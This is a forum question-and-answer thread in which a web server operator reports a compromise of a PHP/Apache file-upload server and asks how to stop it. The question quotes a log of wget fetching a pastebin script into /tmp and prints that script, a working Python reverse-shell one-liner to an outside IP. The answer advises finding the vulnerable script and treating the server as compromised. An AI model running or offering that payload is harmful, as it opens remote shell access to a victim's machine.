How do I prevent this PHP/Apache exploit?

Question

I'm running:

• Ubuntu 20.02
• Apache/2.4.41
• PHP 7.4.3

I am running a simple web server that will accept file uploads, store them and catalog them in a database.

When I check /var/log/apache2/error.log, I see

--2022-06-01 00:07:44--  https://pastebin.com/raw/XV0i1huK
Resolving pastebin.com (pastebin.com)... 104.20.68.143, 104.20.67.143, 172.67.34.170, ...
Connecting to pastebin.com (pastebin.com)|104.20.68.143|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: '/tmp/.update.py'

     0K                                                        10.0M=0s

2022-06-01 00:07:45 (10.0 MB/s) - '/tmp/.update.py' saved [193]

Contents of the .py file it downloads:

import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("139.177.177.91",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")

How is it possible that this happens? I assume it's because of my file permissions (I set 777 to all .php scripts and folders in /www/) I've set 744 permissions for now, but without write permissions, I can't copy the files where they need to be.

How do I protect against this attack?

And I've killed the connection and python process that was giving a remote shell

Answer 1

How do I protect against this attack?

There's no general answer. You obviously have some web script that allows execution of arbitrary commands. You have to figure out which script it is, based on the logs, and then modify the script so that it'll not allow execution of random commands.

You should probably see that server as compromised. There may very well be backdoors you have not found.